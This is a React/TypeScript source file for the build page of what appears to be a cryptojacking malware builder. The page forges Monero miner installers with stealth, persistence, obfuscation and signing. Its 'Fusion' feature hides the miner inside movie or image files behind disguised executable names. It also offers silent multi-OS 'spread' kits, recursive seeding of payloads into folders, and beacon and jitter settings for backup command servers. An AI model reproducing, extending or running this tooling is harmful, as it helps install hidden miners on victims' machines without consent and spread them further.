import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; import { Link, useNavigate, useSearchParams } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp'; import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB, suggestWorkerName, processNameForWorker, } from '../help/forgeSmartDefaults'; import { getSetupStatus } from '../help/setupStatus'; import SetupBanner from '../components/SetupBanner'; import { lanEndpointCandidates } from '../help/endpointHelpers'; import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; import { previewInstallPath } from '../help/installPreview'; import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules'; import { applyDeliverableType, deriveDeliverableType, deliverableSummary, installBaseOptionsForTarget, normalizeForgeForm, type ForgeDeliverable, } from '../help/forgeFormNormalize'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; import PoolPresetPicker from '../components/PoolPresetPicker'; import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker'; import { useModalAmbientDuck } from '../context/AmbientMusicContext'; import { useForge } from '../context/ForgeContext'; import { fusionPayloadKind, fusionTitleFromFilename, fusionFileTypeLabel, disguisedWindowsRunnerName, disguisedDisplayName, defaultRunnerName, defaultEmbeddedName, } from '../help/fusionMedia'; import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles'; import { FORGE_THEME_EVENT, OPERATION_MODES, applyOperationMode, forgeSkinClassName, loadStoredForgeTheme, loadStoredOperationMode, resolveForgeSkin, storeOperationMode, type OperationModeId, } from '../help/forgeOperationModes'; import { MISSION_STEPS, MISSION_STEP_LABELS, applyMissionPresets, missionStepStatus, runForgeMission, type MissionStep, } from '../help/forgeMission'; import { MISSION_OPERATION_CHIPS, MISSION_WIZARD_STEPS, MISSION_WIZARD_STEP_LABELS, canAdvanceWizardStep, missionChipForMode, nextWizardStep, operationModeForChip, prevWizardStep, wizardPillStatus, type MissionOperationChip, type MissionWizardStep, } from '../help/forgeMissionWizard'; import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers'; import { spreadTechniqueDocUrl } from '../help/spreadTechniques'; import './BuilderPage.css'; function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType): string { return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`; } export function formatBytes(n: number): string { if (n < 1024) return `${n} B`; const units = ['KB', 'MB', 'GB']; let v = n / 1024; for (const u of units) { if (v < 1024) return `${v.toFixed(2)} ${u}`; v /= 1024; } return `${v.toFixed(2)} TB`; } function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest { return forgeDefaultsFromServerSmart(config, serverInfo, builds); } // Poll interval (ms) for real server-side build progress. const FORGE_POLL_MS = 1000; function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { if (!building) return null; return (
{stage || 'Initializing...'} {Math.round(progress)}%
); } const FORGE_MODE_KEY = 'aetherforge-forge-mode'; function loadSimpleMode(): boolean { try { const v = localStorage.getItem(FORGE_MODE_KEY); if (v === 'advanced') return false; } catch { /* ignore */ } return true; } export default function BuilderPage() { const navigate = useNavigate(); const [searchParams, setSearchParams] = useSearchParams(); const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge(); const forgeStageTimerRef = useRef | null>(null); const [form, setForm] = useState(null); const [building, setBuilding] = useState(false); const [error, setError] = useState(''); const [lastBuild, setLastBuild] = useState(null); const [dispenseReveal, setDispenseReveal] = useState(null); const [recentBuilds, setRecentBuilds] = useState([]); const [loadingDefaults, setLoadingDefaults] = useState(true); const [fusionPrepFile, setFusionPrepFile] = useState(null); const [fusionBatchFiles, setFusionBatchFiles] = useState([]); const [batchJob, setBatchJob] = useState<{ total: number; current: number; fileName: string; phase: string; percent: number; log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[]; } | null>(null); const [fusionEstimate, setFusionEstimate] = useState(null); const [estimateLoading, setEstimateLoading] = useState(false); // ── PATH FORGE (server-side recursive seeding) ───────────────────────────── const [pfPath, setPfPath] = useState(''); const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original'); const [pfStem, setPfStem] = useState(''); const [pfWindows, setPfWindows] = useState(true); const [pfMac, setPfMac] = useState(true); const [pfLock, setPfLock] = useState(true); const [pfBusy, setPfBusy] = useState(false); const [pfResult, setPfResult] = useState<{ placed: number; total: number; errors: number; results: { source: string; files: string[] }[]; error_list?: string[]; } | null>(null); // Set to true to request cancellation between batch iterations const batchCancelRef = useRef(false); // Tracks the cancel_token of the currently-running forge so we can kill it server-side const cancelTokenRef = useRef(''); const [estimateError, setEstimateError] = useState(''); const [serverInfo, setServerInfo] = useState(null); const [calibrateConfig, setCalibrateConfig] = useState(null); const [listenPort, setListenPort] = useState(8989); const [showBlueprintOffer, setShowBlueprintOffer] = useState(false); const forgedThisSessionRef = useRef(false); const [refreshingEndpoints, setRefreshingEndpoints] = useState(false); const [simpleMode, setSimpleMode] = useState(loadSimpleMode); const [pendingReforgeBuild, setPendingReforgeBuild] = useState(null); const [highlightFusionPrep, setHighlightFusionPrep] = useState(false); const fusionPrepRef = useRef(null); const [spreadProfile, setSpreadProfile] = useState(''); const [operationMode, setOperationMode] = useState(loadStoredOperationMode); const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme); const [missionCampaign, setMissionCampaign] = useState('forge-mission'); const [missionWizardStep, setMissionWizardStep] = useState('mode'); const [missionOperationChip, setMissionOperationChip] = useState(() => missionChipForMode(loadStoredOperationMode()), ); const [missionStep, setMissionStep] = useState(null); const [missionBusy, setMissionBusy] = useState(false); const [missionExportSkipped, setMissionExportSkipped] = useState(false); const [missionComplete, setMissionComplete] = useState(false); useModalAmbientDuck(missionComplete); useEffect(() => { const syncTheme = () => setForgeTheme(loadStoredForgeTheme()); window.addEventListener(FORGE_THEME_EVENT, syncTheme); window.addEventListener('storage', syncTheme); return () => { window.removeEventListener(FORGE_THEME_EVENT, syncTheme); window.removeEventListener('storage', syncTheme); }; }, []); const forgeSkinClass = forgePageClass(operationMode, forgeTheme); // Poll real server-side build progress while a single build is running. // The server exposes GET /api/v1/builder/progress/{token} which returns // {stage, pct} updated at each key compile stage, so the bar reflects // actual server activity instead of a client-side time estimate. useEffect(() => { if (!building || batchJob) { endForge(); if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); return; } startForge(); const token = cancelTokenRef.current; if (!token) return; let active = true; const poll = async () => { if (!active) return; try { const { authHeaders } = await import('../api/auth'); const res = await fetch(`/api/v1/builder/progress/${token}`, { headers: authHeaders(), }); if (res.ok) { const data: { stage: string; pct: number } = await res.json(); if (active && data.stage) { setStage(data.stage, data.pct); } } } catch { // network hiccup — keep polling } if (active) { forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS); } }; poll(); return () => { active = false; if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); }; // eslint-disable-next-line react-hooks/exhaustive-deps }, [building, batchJob]); const setForgeMode = (simple: boolean) => { setSimpleMode(simple); try { localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced'); } catch { /* ignore */ } }; const refreshEndpointInfo = async () => { setRefreshingEndpoints(true); try { const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]); setServerInfo(info); setListenPort(config.port || info.port || 8989); return info; } finally { setRefreshingEndpoints(false); } }; // Blueprint state const [blueprints, setBlueprints] = useState([]); const [showBlueprints, setShowBlueprints] = useState(false); const [blueprintName, setBlueprintName] = useState(''); const [blueprintMsg, setBlueprintMsg] = useState(''); const [loadingBlueprints, setLoadingBlueprints] = useState(false); const [compareBlueprint, setCompareBlueprint] = useState | null>(null); const fileInputRef = useRef(null); useEffect(() => { Promise.all([ api.getConfig(), api.getServerInfo().catch(() => null), api.listBuilds().catch(() => []), ]) .then(([config, info, builds]) => { setCalibrateConfig(config); if (info) { setServerInfo(info); setListenPort(config.port || info.port || 8989); } else { setListenPort(config.port || 8989); } const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : []; const buildList = builds as BuildRecord[]; const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList); setRecentBuilds(buildList); const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }); setForm(applyOperationMode(withDefaults, loadStoredOperationMode())); }) .catch((err) => { console.error(err); setError('Failed to load server config — is the control server running?'); }) .finally(() => setLoadingDefaults(false)); }, []); const loadRecentBuilds = async () => { try { const builds = await api.listBuilds(); setRecentBuilds(builds); } catch (err) { console.error(err); } }; // Handle ?reforge= links from Build Manager — pre-fill only; user confirms before compile. useEffect(() => { const reforgeId = searchParams.get('reforge'); if (!reforgeId || !form || recentBuilds.length === 0) return; const match = recentBuilds.find((b) => b.id === reforgeId); if (match) { const merged = buildRequestFromRecord(match, form as unknown as Record) as unknown as BuildRequest; setForm(merged); setPendingReforgeBuild(match); setError(''); setLastBuild(null); setSearchParams({}, { replace: true }); } // eslint-disable-next-line react-hooks/exhaustive-deps }, [searchParams, recentBuilds, form]); const finishForgeSuccess = async (result: BuildResponse) => { setStage('Build complete!', 100); setLastBuild(result); setDispenseReveal(result); loadRecentBuilds(); if (!forgedThisSessionRef.current) { forgedThisSessionRef.current = true; setShowBlueprintOffer(true); } }; const handleForgeNextWorker = () => { if (!form) return; const name = suggestWorkerName([ ...recentBuilds, { worker_name: form.worker_name } as BuildRecord, ]); setForm({ ...form, worker_name: name, process_name: processNameForWorker(name), }); setLastBuild(null); setError(''); }; const handleSaveFleetBlueprint = async () => { if (!form) return; const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default'); if (!name || !name.trim()) return; setBlueprintMsg(''); try { const result = await api.saveBlueprint(name.trim(), form); setBlueprintMsg(`✅ Blueprint "${result.name}" saved`); setShowBlueprintOffer(false); setTimeout(() => setBlueprintMsg(''), 4000); } catch (err: unknown) { setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`); } }; // Blueprint: save current form as a named blueprint const handleSaveBlueprint = async () => { if (!form) return; const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config'); if (!name || !name.trim()) return; setBlueprintMsg(''); try { const result = await api.saveBlueprint(name.trim(), form); setBlueprintMsg(`✅ Blueprint "${result.name}" saved`); setTimeout(() => setBlueprintMsg(''), 3000); } catch (err: any) { setBlueprintMsg(`❌ Failed to save: ${err.message}`); } }; // Blueprint: load blueprints list and show picker const handleLoadBlueprint = async () => { try { setLoadingBlueprints(true); const list = await api.listBlueprints(); setBlueprints(list); setShowBlueprints(true); } catch (err: any) { setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`); } finally { setLoadingBlueprints(false); } }; // Blueprint: apply a selected blueprint to the form const handleApplyBlueprint = async (name: string) => { try { const data = await api.getBlueprint(name); setCompareBlueprint(data as Record); setBlueprintName(name); // Merge loaded data into form, preserving any fields not in the blueprint setForm((prev) => (prev ? { ...prev, ...data } : prev)); setShowBlueprints(false); setBlueprintMsg(`✅ Blueprint "${name}" loaded`); setTimeout(() => setBlueprintMsg(''), 3000); } catch (err: any) { setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`); } }; const focusFusionPrepPicker = () => { setHighlightFusionPrep(true); fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' }); window.setTimeout(() => setHighlightFusionPrep(false), 6000); }; const reForgeFromBuild = async (build: BuildRecord) => { if (!form) return; const merged = buildRequestFromRecord(build, form as unknown as Record) as unknown as BuildRequest; setForm(merged); setError(''); setLastBuild(null); // Fusion re-forge requires the payload file — prep files are not kept on the // server after a build completes (M15). Prompt the user to re-upload first. if (merged.fusion_enabled && !fusionPrepFile) { setError( 'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.' ); focusFusionPrepPicker(); return; } const checks = runForgePreflight(merged, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Re-forge preflight failed — adjust settings and forge manually.'); return; } const reforgeToken = crypto.randomUUID(); cancelTokenRef.current = reforgeToken; setBuilding(true); try { const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile); if (!result.success) throw new Error(result.error || 'Build failed'); await finishForgeSuccess(result); setBlueprintMsg(`✅ Re-forged ${build.worker_name}`); } catch (err: any) { setError(err.message || 'Re-forge failed'); } finally { setBuilding(false); } }; // Blueprint: delete a blueprint const handleDeleteBlueprint = async (name: string) => { if (!confirm(`Delete blueprint "${name}"?`)) return; try { await api.deleteBlueprint(name); setBlueprints((prev) => prev.filter((b) => b.name !== name)); } catch (err: any) { setBlueprintMsg(`❌ Failed to delete: ${err.message}`); } }; // Blueprint: import from a local .json file const handleImportBlueprintFile = () => { fileInputRef.current?.click(); }; const handleFileSelected = (e: React.ChangeEvent) => { const file = e.target.files?.[0]; if (!file) return; const reader = new FileReader(); reader.onload = (evt) => { try { const data = JSON.parse(evt.target?.result as string) as Record; setCompareBlueprint(data); setBlueprintName(file.name); setForm((prev) => (prev ? { ...prev, ...data } : prev)); setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`); setTimeout(() => setBlueprintMsg(''), 3000); } catch { setBlueprintMsg('❌ Invalid JSON file'); } }; reader.readAsText(file); // Reset input so same file can be re-selected e.target.value = ''; }; // Blueprint: export current form as a downloadable .json file const handleExportBlueprintFile = () => { if (!form) return; const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `${form.worker_name || 'miner-config'}-blueprint.json`; a.click(); URL.revokeObjectURL(url); }; const applyFusionFileSelection = (f: File | null) => { setFusionPrepFile(f); if (!f) return; const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name); // Images in embedded mode often blow up compile size; paired ZIP is reliable for any size. const preferPaired = isImage || f.size > 500 * 1024 * 1024; setForm((prev) => { if (!prev) return prev; return normalizeForgeForm({ ...prev, fusion_payload_kind: fusionPayloadKind(f), fusion_media_base_name: f.name, fusion_output_name: defaultRunnerName(f.name), ...(preferPaired && prev.fusion_media_mode === 'embedded' ? { fusion_media_mode: 'paired' as const } : {}), ...(!prev.fusion_enabled ? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' } : {}), }); }); }; // Kill the current server-side compile via the cancel API, then stop the batch loop. const handleKillBuild = useCallback(async () => { const tok = cancelTokenRef.current; if (tok) { try { await api.cancelBuild(tok); } catch { /* ignore */ } } batchCancelRef.current = true; setBuilding(false); }, []); const handlePathForge = async () => { if (!pfPath.trim()) { alert('Enter a folder path first.'); return; } if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; } setPfBusy(true); setPfResult(null); try { const { authHeaders } = await import('../api/auth'); const res = await fetch('/api/v1/builder/path-forge', { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify({ root_path: pfPath.trim(), stem_mode: pfStemMode, output_stem: pfStem.trim(), target_windows: pfWindows, target_mac: pfMac, lock_original: pfLock, server_url: form?.server_url ?? '', }), }); const data = await res.json(); setPfResult(data); } catch (err) { setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] }); } finally { setPfBusy(false); } }; const handleBatchCancel = () => { batchCancelRef.current = true; // Also kill the currently-running server compile const tok = cancelTokenRef.current; if (tok) { api.cancelBuild(tok).catch(() => {}); } }; const handleBatchForge = async () => { if (!form || fusionBatchFiles.length === 0) return; setError(''); setLastBuild(null); batchCancelRef.current = false; setBuilding(true); const total = fusionBatchFiles.length; const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const })); setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log }); let ok = 0; try { for (let i = 0; i < total; i++) { if (batchCancelRef.current) { setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j)); setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`); setTimeout(() => setBlueprintMsg(''), 5000); break; } const file = fusionBatchFiles[i]; const title = fusionTitleFromFilename(file.name); const pct = Math.round((i / total) * 100); setBatchJob((j) => j ? { ...j, current: i + 1, fileName: file.name, phase: 'building', percent: pct, log: j.log.map((row, idx) => idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row ), } : j ); const req = normalizeForgeForm({ ...form, target_os: 'universal', fusion_enabled: true, spread_kit: false, fusion_payload_kind: fusionPayloadKind(file), fusion_media_base_name: file.name, fusion_export_subdir: title, fusion_output_name: defaultRunnerName(file.name), worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48), }); const checks = runForgePreflight(req, true); if (preflightHasErrors(checks)) { throw new Error(`Preflight failed for ${file.name}`); } const batchToken = crypto.randomUUID(); cancelTokenRef.current = batchToken; const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file); cancelTokenRef.current = ''; if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`); setBatchJob((j) => j ? { ...j, phase: 'downloading', log: j.log.map((row, idx) => idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row ), } : j ); await finishForgeSuccess(result); ok++; setBatchJob((j) => j ? { ...j, log: j.log.map((row, idx) => idx === i ? { ...row, status: 'ok', detail: result.fusion_export_dir ? `Saved → ${result.fusion_export_dir}` : 'ZIP downloaded', } : row ), } : j ); } setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j)); setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`); setTimeout(() => setBlueprintMsg(''), 6000); setFusionBatchFiles([]); } catch (err: unknown) { const msg = err instanceof Error ? err.message : 'Batch forge failed'; setError(msg); setBatchJob((j) => j ? { ...j, phase: 'error', log: j.log.map((row) => row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row ), } : j ); } finally { setBuilding(false); setTimeout(() => setBatchJob(null), 8000); } }; const selectMissionOperationChip = (chip: MissionOperationChip) => { setMissionOperationChip(chip); const modeId = operationModeForChip(chip); setOperationMode(modeId); storeOperationMode(modeId); if (form) setForm(applyOperationMode(form, modeId)); }; const handleLaunchMission = async () => { if (!form) return; setError(''); setLastBuild(null); setMissionComplete(false); setMissionExportSkipped(false); setMissionWizardStep('launch'); const normalized = applyMissionPresets(form, operationMode, spreadProfile); setForm(normalized); const checks = runForgePreflight(normalized, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Mission blocked — fix preflight errors before launching.'); return; } const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, ''); const cancelToken = crypto.randomUUID(); cancelTokenRef.current = cancelToken; setMissionBusy(true); setMissionStep('configure'); setBuilding(true); try { const result = await runForgeMission({ form: normalized, operationMode, spreadProfile, campaign: missionCampaign, serverBase, fusionPrepFile, api, cancelToken, onStep: (step) => { setMissionStep(step); if (step === 'forge') startForge(); }, }); setMissionExportSkipped(result.exportSkipped); setForm(normalized); setMissionComplete(true); await finishForgeSuccess(result.build); } catch (err: unknown) { const msg = err instanceof Error ? err.message : 'Mission failed'; if (msg !== 'build cancelled') { setMissionStep('error'); setError(msg); void loadRecentBuilds(); } } finally { cancelTokenRef.current = ''; setMissionBusy(false); setBuilding(false); } }; const handleSubmit = async (e: React.FormEvent) => { e.preventDefault(); if (!form) return; setError(''); setLastBuild(null); const normalized = normalizeForgeForm(form); if (normalized !== form) { setForm(normalized); } const checks = runForgePreflight(normalized, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Preflight failed — fix errors in the checklist below before forging.'); return; } const cancelToken = crypto.randomUUID(); cancelTokenRef.current = cancelToken; setBuilding(true); try { const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile); if (!result.success) { throw new Error(result.error || 'Build failed'); } await finishForgeSuccess(result); } catch (err: any) { if (err.message !== 'build cancelled') { let msg = err?.message || 'Build failed'; const aborted = err?.name === 'AbortError' || /abort|timed out|timeout/i.test(msg); if (aborted) { msg = 'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.'; } setError(msg); void loadRecentBuilds(); } } finally { cancelTokenRef.current = ''; setBuilding(false); } }; const applyRecommendedDefaults = async () => { if (!form) return; try { const [config, info, builds] = await Promise.all([ api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [] as BuildRecord[]), ]); const candidates = lanEndpointCandidates(info, config.port || info.port); const base = defaultsFromConfig(config, info, builds); const kind = form ? deriveDeliverableType(form) : 'single'; // Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates }); setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode)); setBlueprintMsg('✅ Recommended defaults applied'); setTimeout(() => setBlueprintMsg(''), 2500); } catch (err: unknown) { setError(err instanceof Error ? err.message : 'Could not refresh defaults'); } }; const updateField = (field: keyof BuildRequest, value: unknown) => { setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev)); }; const setDeliverableType = (type: ForgeDeliverable) => { setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev)); if (type !== 'fusion') { setFusionPrepFile(null); setFusionBatchFiles([]); setFusionEstimate(null); } }; const deliverableType = form ? deriveDeliverableType(form) : 'single'; const installBaseOptions = installBaseOptionsForTarget(form?.target_os); const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]); const liveNotices = useMemo( () => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []), [form, fusionPrepFile] ); const preflightChecks = useMemo( () => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []), [form, fusionPrepFile] ); const canForge = form ? !preflightHasErrors(preflightChecks) : false; const errorCount = preflightChecks.filter((c) => c.level === 'error').length; const blueprintChanges = useMemo(() => { if (!compareBlueprint || !form) return []; return blueprintDiff(compareBlueprint, form as unknown as Record); }, [compareBlueprint, form]); const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe'; const fusionMediaMode = form?.fusion_media_mode || 'paired'; useEffect(() => { if (!form?.fusion_enabled || !fusionPrepFile) { setFusionEstimate(null); setEstimateError(''); return; } let cancelled = false; const timer = window.setTimeout(() => { setEstimateLoading(true); setEstimateError(''); api.estimateFusion(form, fusionPrepFile) .then((est) => { if (!cancelled) setFusionEstimate(est); }) .catch((err: Error) => { if (!cancelled) { setFusionEstimate(null); setEstimateError(err.message || 'Estimate failed'); } }) .finally(() => { if (!cancelled) setEstimateLoading(false); }); }, 350); return () => { cancelled = true; window.clearTimeout(timer); }; }, [ form?.fusion_enabled, form?.fusion_output_name, form?.output_dir, form?.obfuscate, form?.sign_build, form?.worker_name, fusionPrepFile, ]); // Cancel any in-progress server-side build when the component unmounts // (e.g. user navigates away mid-forge). This closes the M14 UI desync where // the server kept compiling after the Forge page was left. useEffect(() => { return () => { const tok = cancelTokenRef.current; if (tok) { api.cancelBuild(tok).catch(() => {}); cancelTokenRef.current = ''; } batchCancelRef.current = true; }; }, []); if (loadingDefaults) { return (

INSTALLER FORGE

Forge

Loading forge defaults from server...

); } if (!form) { return (

INSTALLER FORGE

Forge

{error || 'Failed to load forge defaults from server.'}

); } const installPreview = previewInstallPath({ install_base: form.install_base, install_custom_base: form.install_custom_base, install_relative_path: form.install_relative_path, worker_name: form.worker_name, process_name: form.process_name, target_os: form.target_os, }); const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []; const setupStatus = getSetupStatus(calibrateConfig, serverInfo); return (
{pendingReforgeBuild && (
Re-forge {pendingReforgeBuild.worker_name}?

Settings were loaded from Build Manager. Confirm to start compiling — this cannot be undone mid-forge.

)} {/* Hidden file input for importing blueprint .json files */}

INSTALLER FORGE

Forge

{simpleMode ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.' : 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}

{/* Blueprint status message */} {blueprintMsg && (
{blueprintMsg}
)} {compareBlueprint && blueprintChanges.length > 0 && (

Blueprint diff — {blueprintName || 'loaded blueprint'}

Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).

    {blueprintChanges.map((row) => (
  • {row.key} {' — '} {row.kind === 'added' && kept from form} {row.kind === 'removed' && not in current form} {row.kind === 'changed' && ( blueprint → current )}
  • ))}
)} {/* Blueprint picker panel */} {showBlueprints && (

Saved Blueprints

{loadingBlueprints ? (

Loading blueprints...

) : blueprints.length === 0 ? (

No saved blueprints yet. Configure the form and click "Save Blueprint".

) : (
{blueprints.map((bp) => (
{bp.name}
{(bp.size / 1024).toFixed(1)} KB {new Date(bp.created_at).toLocaleString()}
))}
)}
)}

Quick links

Full visual guide with pipeline, Fusion, AI, and troubleshooting.

Open Field Guide
{SETUP_CHEATSHEET.map((item) => (

{item.title}

{item.body}

))}
{simpleMode ? ( <>

MISSION RITUAL — 3-STEP WIZARD

Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual. Full forge fields below stay available for power users.

{MISSION_WIZARD_STEPS.map((step, idx) => { const status = wizardPillStatus(step, missionWizardStep); return ( ); })}
{missionWizardStep === 'mode' && (

Operation temperament

{MISSION_OPERATION_CHIPS.map((chip) => ( ))}
)} {missionWizardStep === 'profile' && (

Spread profile (optional)

{SPREAD_PROFILES.map((p) => ( ))}

{spreadProfile ? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb : 'Skip to forge without a spread profile preset.'}

)} {missionWizardStep === 'launch' && (
setMissionCampaign(e.target.value)} placeholder="forge-mission" />
{(missionBusy || missionStep === 'error') && (
{MISSION_STEPS.map((step) => { const status = missionStep ? missionStepStatus(step, missionStep, missionExportSkipped) : 'pending'; return ( {status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'} {' '} {MISSION_STEP_LABELS[step]} {step === 'export' && missionExportSkipped ? ' (n/a)' : ''} ); })}
)} {!missionBusy && missionStep !== 'error' && (

Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Install commands in Builds.

)}
)}
{prevWizardStep(missionWizardStep) && ( )} {missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && ( )} {missionWizardStep === 'launch' && ( <> {missionBusy && ( )} )}

RECOMMENDED DEFAULTS — AUTO-SELECTED

{RECOMMENDED_DEFAULTS_BLURB}

{OPERATION_MODES.map((m) => ( ))}

{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}

{operationMode === 'lotl_onion' && (
LOTL Onion tiers — same XMR Wallet Address; server-pulled order on connect
    {LOTL_ONION_TIER_DOCS.map((t) => (
  • {t.label} — {t.definition}
    e.g. {t.example}
  • ))}
Spread playbook: LOTL Onion tab →
)}
{SPREAD_PROFILES.map((p) => ( ))}
{spreadProfile && (

{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}

)}
) : (

FORGE RULES — READ THIS ONCE

Everything on this page is configurable, but incompatible mixes are blocked at forge time. Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.

⛏ Baked into installer Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
🖥 Server folder only Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
🔒 Auto-coupled Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
✕ Cannot forge until fixed Preflight errors below must be resolved — warnings let you forge but double-check first.
)} {liveNotices.length > 0 && (
ACTIVE RULES
    {liveNotices.map((n) => (
  • {n}
  • ))}
)}

{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}

{simpleMode ? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.' : 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}

updateField('worker_name', e.target.value)} required />
updateField('server_url', e.target.value)} required autoComplete="off" spellCheck={false} /> {form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (

⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.

)}

Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.

{endpointCandidates.length > 0 && (
Quick pick
{endpointCandidates.map((url) => ( ))}
)}
{/* ── Backup server URLs (advanced) ───────────────────────── */} {!simpleMode && (
{(form.backup_server_urls ?? []).map((url, i) => (
{ const urls = [...(form.backup_server_urls ?? [])]; urls[i] = e.target.value; updateField('backup_server_urls', urls); }} />
))}
)} {/* ── Connection profile (advanced) ─────────────────────── */} {!simpleMode && (
updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)} />
updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)} />
updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)} />
{form.https_beacon_fallback !== false && (
updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)} />
)}
)}
